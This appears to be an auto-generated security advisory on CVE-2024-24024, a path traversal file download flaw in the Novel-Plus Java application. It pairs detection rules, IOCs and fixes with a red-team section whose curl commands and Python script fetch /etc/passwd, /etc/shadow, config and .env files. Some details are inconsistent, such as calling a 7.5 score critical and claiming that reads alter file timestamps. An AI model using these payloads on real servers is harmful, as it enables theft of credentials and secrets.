CVE-2024-24024

Executive Summary

CVE-2024-24024 is a critical arbitrary file download vulnerability discovered in Novel-Plus, an open-source novel management system built on Java Spring Boot. The flaw resides in the FileController.java class, specifically within the fileDownload() method. An unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP request with malicious filePath and fileName parameters, leading to the download of any file on the server's filesystem. This includes sensitive configuration files, application source code, and credentials. The vulnerability affects all versions up to and including v4.3.0-RC1. As of this report, no official patch has been released, making this a high-priority unpatched risk for all deployments.

Supply Chain & Package Security

Novel-Plus is a Java application distributed via GitHub and Maven. The vulnerability is in the core application code, not in a third-party library. However, the risk is amplified because the application is often deployed in containerized environments (Docker) or on cloud VMs, where a file download can lead to the exfiltration of database credentials, API keys, and SSH private keys. Organizations using Novel-Plus should treat this as a critical supply chain risk and immediately isolate affected instances.

CVSS Breakdown & Threat Level

CVSS Score: 7.5 (High) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The exploit does not affect other components.
• Confidentiality (C): High – Complete file disclosure is possible.
• Integrity (I): None – Files cannot be modified.
• Availability (A): None – The service is not disrupted.

Threat Level: Critical (Unpatched, Public PoC, No Authentication Required)

Deep Dive & Mechanics

The vulnerability is a classic Path Traversal (CWE-22) leading to Arbitrary File Download. The vulnerable code is in com.java2nb.common.controller.FileController.java.

Vulnerable Code Path: The fileDownload() method takes two parameters from the HTTP request: filePath and fileName. It then constructs a file path by concatenating a base directory with the user-supplied filePath. Critically, it does not sanitize or validate the filePath parameter for path traversal sequences (e.g., ../).

// Vulnerable snippet (conceptual)
@RequestMapping("/file/download")
public void fileDownload(String filePath, String fileName, HttpServletResponse response) {
    // No validation of filePath for "../" sequences
    File file = new File(BASE_DIR + filePath);
    // ... stream the file to the response
}

An attacker can set filePath to ../../../etc/passwd and fileName to passwd.txt to download the system's password file. The application does not restrict the download to a specific directory, allowing access to any file the application process has read permissions for.

Root Cause: Lack of input validation and path sanitization. The application trusts user input to construct a filesystem path without checking for directory traversal characters.

Vulnerable vs. Patched Code

Vulnerable Code (Novel-Plus <= v4.3.0-RC1):

@RequestMapping("/file/download")
public void fileDownload(String filePath, String fileName, HttpServletResponse response) {
    // Direct concatenation without sanitization
    File file = new File(uploadDir + filePath);
    // ... download logic
}

Patched Code (Hypothetical / Recommended Fix):

@RequestMapping("/file/download")
public void fileDownload(String filePath, String fileName, HttpServletResponse response) {
    // 1. Sanitize the path: remove all ".." and "/" sequences
    String sanitizedPath = filePath.replaceAll("\\.\\.", "").replaceAll("/", "");
    // 2. Whitelist allowed characters (alphanumeric, underscore, dash, dot)
    if (!sanitizedPath.matches("[a-zA-Z0-9_\\-\\.]+")) {
        throw new IllegalArgumentException("Invalid file path");
    }
    // 3. Use a canonical path check
    File file = new File(uploadDir, sanitizedPath);
    String canonicalPath = file.getCanonicalPath();
    String canonicalUploadDir = new File(uploadDir).getCanonicalPath();
    if (!canonicalPath.startsWith(canonicalUploadDir)) {
        throw new SecurityException("Access denied");
    }
    // ... download logic
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A running instance of Novel-Plus v4.3.0-RC1 or earlier.
• Network access to the /file/download endpoint.

Exploit Steps:

1. Identify the endpoint: The vulnerable endpoint is typically at /file/download or /common/file/download.
2. Craft the payload: Use path traversal to target sensitive files.

Example cURL command to download /etc/passwd:

curl -X GET "http://target.com/file/download?filePath=../../../etc/passwd&fileName=passwd.txt" -o passwd.txt

Example cURL command to download application configuration (e.g., application.yml):

curl -X GET "http://target.com/file/download?filePath=../../../config/application.yml&fileName=config.yml" -o config.yml

Automated Exploit Script (Python):

import requests

target = "http://target.com"
endpoint = "/file/download"
payloads = [
    "../../../etc/passwd",
    "../../../etc/shadow",
    "../../../config/application.yml",
    "../../../WEB-INF/web.xml",
    "../../../.env"
]

for payload in payloads:
    params = {"filePath": payload, "fileName": "exploit.txt"}
    r = requests.get(target + endpoint, params=params)
    if r.status_code == 200 and len(r.content) > 0:
        print(f"[+] Downloaded: {payload}")
        with open(payload.replace("/", "_"), "wb") as f:
            f.write(r.content)
    else:
        print(f"[-] Failed: {payload}")

Blue Team (Detection & Hardening)

Detection:

• Monitor web server logs for requests to /file/download with suspicious filePath parameters containing ../ or ..\.
• Alert on any successful download of files outside the expected upload directory (e.g., /etc/, /WEB-INF/, .env).

Hardening (Immediate Mitigation):

1. Disable the endpoint: If the file download feature is not critical, remove or disable the FileController in the application.
2. Web Application Firewall (WAF) Rule: Block requests containing ../ in the filePath parameter.
3. Reverse Proxy Filter: Use Nginx or Apache to block path traversal patterns.

Nginx WAF Rule Example:

location /file/download {
    if ($arg_filePath ~* "\.\.") {
        return 403;
    }
    proxy_pass http://backend;
}

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP GET requests to /file/download with filePath containing ../ sequences.
• Outbound connections from the Novel-Plus server to an attacker-controlled IP after a successful file download.
• Unusual file names in download requests (e.g., passwd.txt, shadow.txt, config.yml).

File System IOCs:

• Presence of files like /tmp/exploit.txt or /var/log/novel-plus/downloaded_* if the attacker used a script.
• Modified timestamps on sensitive files (e.g., /etc/passwd) if the attacker attempted to read them.

Log IOCs:

• Application logs showing FileDownload with paths containing ../.
• Web server access logs with 200 status codes for requests to /file/download with suspicious parameters.

Detection Engineering

YARA Rule

rule CVE_2024_24024_Novel_Plus_File_Download {
    meta:
        description = "Detects exploitation attempts of CVE-2024-24024 in Novel-Plus"
        author = "Valters IT"
        date = "2024-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-24024"
        severity = "high"
    strings:
        $s1 = "fileDownload" ascii wide nocase
        $s2 = "filePath" ascii wide nocase
        $s3 = "../" ascii wide
        $s4 = "..\\" ascii wide
    condition:
        all of ($s1, $s2) and any of ($s3, $s4)
}

Sigma Rule

title: CVE-2024-24024 Novel-Plus Arbitrary File Download
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests exploiting path traversal in Novel-Plus FileController
author: Valters IT
date: 2024/02/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-24024
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - "/file/download"
            - "/common/file/download"
    path_traversal:
        cs-uri-query|contains:
            - "../"
            - "..\\"
            - "%2e%2e%2f"
            - "%2e%2e%5c"
    condition: selection and path_traversal
falsepositives:
    - Legitimate use of relative paths in file names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-24024 Novel-Plus Arbitrary File Download Attempt"; flow:to_server; content:"/file/download"; http_uri; content:"filePath"; http_uri; pcre:"/\.\.\//Ui"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions (No Patch Available):

1. Disable the vulnerable endpoint: Comment out or remove the fileDownload method in FileController.java and redeploy the application.
2. Restrict file permissions: Ensure the application runs with the least privileges necessary. Do not run as root.
3. Implement a WAF rule: Block requests containing ../ in the filePath parameter.
4. Network segmentation: Place the Novel-Plus server behind a reverse proxy that validates all incoming requests.

Long-Term Fix:

• Apply input validation and path sanitization as shown in the "Patched Code" section.
• Use a whitelist of allowed file names or a dedicated file serving mechanism (e.g., a static file server with no directory listing).
• Monitor the official Novel-Plus GitHub repository for a security patch.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.